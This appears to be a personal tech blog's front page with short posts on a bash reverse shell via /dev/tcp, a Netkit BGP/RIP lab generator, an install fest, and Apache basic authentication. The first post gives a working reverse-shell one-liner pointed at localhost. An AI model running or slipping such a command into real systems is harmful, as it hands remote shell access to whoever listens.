Reverse shell in bash

Reverse Shell
Click to enlarge
/dev/tcp and /dev/udp aren’t real devices but are handled by bash internally opening a socket to the hostname and port given in the  form /dev/(tcp|udp)/hostname/port. This kind of handling must be enabled at compiling time, and it’s not by default for security in some systems like bash shipped with debian, but it’s present for instance in bash shipped with osx (tested on 10.6 Snow Leopard). Combining this features with some redirections you can easily get a reverse shell just with bash with

exec /bin/sh 0< /dev/tcp/localhost/1025 1>&0 2>&0

Starting up

Starting up I’ve being thinking about this option for a while, since I feel again the need to have some sort of  online space but really don’t have the time right now to take up my own cms on the top of my  still  under-never-ending-dev framework for web apps as i wished, so i decided to fall back  again to an  off-the-shelf open solution. Then here I am, getting started in an (hope to be)  simple experience, that may lead to a long and  satisfactory contribution to this messing “ball  of mud” that’s the  network today. Good luck, to me.


Netkit BGP-RIP Labs Generator

Netkit A bash script I wrote to quick build the requested Netkit labs for the final of the Computer  Networks  Infrastuctures class last july. I’m really pleased with those exams where you can  separate concepts  from specific and likely-to-change knowledge that may become useless or  forgotten soon.  Especially if smart professors allow you to automate or give less emphasis to the  second part, which  should be anyway known, but focusing on the first.

This bash script implements an input driven lab generator for Netkit, the “poor man’s system to experiment computer networking” developed and mantained at Roma Tre University.
The script prompt the user with questions and expects answers in indicated formats (pretty easy to get from examples). At the end, if feed with correct input, it should build up a working lab with network configuration based on BGP and RIP as IGP. It doesn’t configure prefix-lists or route-maps but examples are provided under comments.
This may be really useful for students at the Computer Networks Infrastructures class since most of the labs requested in finals may be generated with this script in minutes (while you are given about an hour, so you got lots of time to set up more complex stuffs and to check them).

[ Download ]

Read more


Install fest 2008

Here is the presentation used at the install fest today :)
Hope people had fun ;)


Kernel Recompiling


Basic http authentication in Apache

Having a directory under Basic Authentication is really easy when using the Apache2 web server.
You just have to define a file with users, passwords and groups, and place some lines in the .htaccess file.
The first goal can be achieved with the htpasswd utility, such as

htpasswd [-s|-m|-d|-p] [-c] <file> <username>

where the first group of options specify the way to store passwords ( -s for sha, -m for md5, -d for crypt(), -p for plaintext ), and -c create a new file. Be careful because the -c overwrite any existing file. If you wish just to add a user to an existing file, care to omit the -c . You can also specify group of users in a groupfile, man htpasswd should help.

Then you need to place an .htaccess file in the folder you want to protect, with something like

AuthType Basic
AuthName "Your authentication prompt message"
AuthUserFile /path/to/user/auth/file
AuthGroupFile /path/to/group/auth/file
Require user username

Use absolute paths for the authentication file or relative paths that are resolved from /etc/apache2.
Here you go, restart the apache web server and your basic http authentication is ready.
Just remember that this is plain-text over the network, and that it’s a pain to maintain, so you should use this only for really poor stuffs with few, unlikely to change users or groups, and most likely over SSL.



Return top

About me